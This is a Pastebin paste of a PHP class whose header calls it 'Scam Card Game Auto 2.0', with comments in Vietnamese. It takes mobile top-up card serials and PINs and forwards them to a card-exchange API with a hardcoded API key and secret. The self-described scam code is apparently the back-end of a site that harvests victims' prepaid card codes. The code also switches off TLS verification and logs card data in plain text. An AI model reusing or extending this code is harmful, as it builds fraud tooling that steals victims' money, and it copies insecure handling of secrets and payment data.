Shinz3K

Untitled

Aug 13th, 2021
47
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.21 KB | None | 0 0
  1. <?php
  2. /* Source : Scam Card Game Auto 2.0
  3. - Author : MinhDz
  4. - Contact : FB.Com/quangminh.2306
  5. - Code by : MinhDZ
  6. - Theme by : Quang Minh
  7. */
  8. date_default_timezone_set('Asia/Ho_Chi_Minh');
  9.  
  10. class Trumthe247 {
  11. private $API_KEY = '12a6893048c9dc0a31d3827cc552d927'; //Api Key của tài khoản quý khách trên hệ thống TRUMTHE247.COM
  12. private $API_SECRET = 'dbf70a5741093a5c30da7062452373ae'; //Api Serect của tài khoản quý khách trên hệ thống TRUMTHE247.COM
  13. private $URL_CHARGE_API = 'https://trumthe247.com/restapi/charge'; //Url post nạp thẻ. Không đổi.
  14. private $DEBUG_FILE_LOG = true; // True nếu cần ghi log, false nếu ko cần.
  15. private $FILE_LOG_SUCCESS = 'trumthe247_success.txt'; //Tên file logs thành công.
  16. private $FILE_LOG_ERROR = 'trumthe247_error.txt'; //Tên file logs thất bại.
  17.  
  18. public function ValidateCallback() { //Hàm kiểm tra callback từ trumthe247.com
  19. if(isset(
  20. $_POST['api_key'],
  21. $_POST['api_secret'],
  22. $_POST['status'],
  23. $_POST['desc'],
  24. $_POST['card_data']['serial'],
  25. $_POST['card_data']['pin'],
  26. $_POST['card_data']['card_type'],
  27. $_POST['card_data']['amount'],
  28. $_POST['card_data']['real_amount'],
  29. $_POST['card_data']['charge_time']
  30. )) {
  31. if($_POST['api_key'] == $this->API_KEY && $_POST['api_secret'] == $this->API_SECRET) { //Xác thực API, tránh kẻ lạ gửi dữ liệu ảo.
  32. return $_POST; //xác thực thành công, return mảng dữ liệu từ TRUMTHE247.COM trả về.
  33. }
  34. }
  35.  
  36. return false; //Xác thực callback thất bại.
  37. }
  38.  
  39. public function ChargeCard($telco, $serial, $pin, $amount, $note) { //Hàm gửi dữ liệu thẻ lên hệ thống trumthe247.com
  40. /*
  41. $telco: nhà mạng. Vd: VTT, VMS, VNP.
  42. $serial: số seri của thẻ.
  43. $pin: mã thẻ.
  44. $amount: mệnh giá thẻ.
  45. $note: ghi chú. Quý khách có thể thêm giá trị để xác thực giao dịch cho khách hàng của quý khách. Ví dụ: User ID khách hàng của quý khách, Mã GD, ...
  46. */
  47. $validate = $this->ValidateCard($telco, $serial, $pin); //Xác thực định dạng thẻ.
  48. if($validate != true) {
  49. if($this->DEBUG_FILE_LOG == true) //Kiểm tra nếu Debug ghi file log = true thì thực hiện ghi dữ liệu đẩy thẻ vào file log.
  50. $this->WriteLog($this->FILE_LOG_ERROR, $validate);
  51.  
  52. return $validate;
  53. }
  54.  
  55. $dataPost = array( //Mảng chứa dữ liệu đẩy thẻ lên server TrumThe247.Com
  56. 'card' => $telco,
  57. 'amount' => $amount,
  58. 'serial' => $serial,
  59. 'pin' => $pin,
  60. 'api_key' => $this->API_KEY,
  61. 'api_secret' => $this->API_SECRET,
  62. 'content' => $note
  63. );
  64.  
  65. $charge_response = $this->CurlPost($this->URL_CHARGE_API, $dataPost); //Thực hiện POST cURL dữ liệu lên Server.
  66. $response_object = json_decode($charge_response, false); //Parse kết quả đẩy thẻ về dạng đối tượng Object.
  67. if(empty($response_object->status)) { //Kiểm tra nếu không tồn tại Response Status, thì là kết quả đẩy thẻ lên Server TrumThe247 bị lỗi. Thực hiện ghi vào file logs, theo dõi file để kiểm tra lỗi.
  68. if($this->DEBUG_FILE_LOG == true)
  69. $this->WriteLog($this->FILE_LOG_ERROR, $charge_response);
  70.  
  71. return false;
  72. }
  73.  
  74. if($response_object->status != 1) { //Kiểm tra nếu Response Status khác 1, tức là thẻ đẩy lên bị sai hoặc cấu hình dữ liệu sai, theo dõi mô tả lỗi hoặc so sánh Status Code trong bảng mã lỗi ở file Document hướng dẫn.
  75. if($this->DEBUG_FILE_LOG == true) //Kiểm tra nếu Debug ghi file log = true thì thực hiện ghi dữ liệu đẩy thẻ vào file log.
  76. $this->WriteLog($this->FILE_LOG_ERROR, $charge_response);
  77.  
  78. return $response_object->desc;
  79. }
  80.  
  81. if($this->DEBUG_FILE_LOG == true) //Kiểm tra nếu Debug ghi file log = true thì thực hiện ghi dữ liệu đẩy thẻ vào file log.
  82. $this->WriteLog($this->FILE_LOG_SUCCESS, $charge_response); //Ghi kết quả đẩy thẻ thành công vào file log thành công.
  83.  
  84. return $response_object; //Trả về kết đối tượng Object.
  85. }
  86.  
  87. private function ValidateCard($telco, $serial, $pin) { //Hàm kiểm tra định dạng thẻ.
  88. $s_length = strlen($serial);
  89. $p_length = strlen($pin);
  90.  
  91. if($telco == 'VTT' || $telco == 'VTT2') {
  92. if($s_length != 11 && $s_length != 14)
  93. return 'Số serial thẻ không đúng.';
  94.  
  95. if($p_length != 13 && $p_length != 15)
  96. return 'Mã thẻ không đúng.';
  97. }
  98.  
  99. if($telco == 'VMS' || $telco == 'VMS2') {
  100. if($s_length != 15)
  101. return 'Số serial thẻ không đúng.';
  102.  
  103. if($p_length != 12)
  104. return 'Mã thẻ không đúng.';
  105. }
  106.  
  107. if($telco == 'VNP' || $telco == 'VNP2') {
  108. if($s_length != 14)
  109. return 'Số serial thẻ không đúng.';
  110.  
  111. if($p_length != 14)
  112. return 'Mã thẻ không đúng.';
  113. }
  114.  
  115. return true;
  116. }
  117.  
  118. private function CurlPost($url, $dataPost) { //Hàm cURL POST dữ liệu.
  119. if(!is_array($dataPost))
  120. return false;
  121.  
  122. $dataPost = http_build_query($dataPost);
  123.  
  124. $ch = curl_init();
  125. curl_setopt($ch, CURLOPT_URL, $url);
  126. curl_setopt($ch, CURLOPT_POST, 1);
  127. curl_setopt($ch, CURLOPT_POSTFIELDS, $dataPost);
  128. //$ref = (isset($_SERVER['HTTPS']) ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; //Nếu kết quả cURL bị lỗi xác thực tên miền, thử thay thế $ref = tên miền của bạn. Ví dụ: $ref = 'https://trumthe247.com';
  129. $ref = 'https://napthex10.ga';
  130. curl_setopt($ch, CURLOPT_REFERER, $ref);
  131. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  132. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  133. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  134.  
  135. $result = curl_exec($ch);
  136.  
  137. if(curl_error($ch))
  138. $error_msg = curl_error($ch);
  139.  
  140. curl_close($ch);
  141.  
  142. if(isset($error_msg))
  143. return $error_msg;
  144.  
  145. return $result;
  146. }
  147.  
  148. public function WriteLog($file_name, $content) { //Hàm xử lý việc ghi file log.
  149. if(empty($file_name))
  150. return false;
  151.  
  152. $fp = fopen($file_name, 'a');
  153. if(fwrite($fp, date('H:i:s d/m/Y', time()).' - '.$content.PHP_EOL) == false)
  154. return false;
  155. fclose($fp);
  156.  
  157. return true;
  158. }
  159. }
  160.  
  161. ?>
Add Comment
Please, Sign In to add comment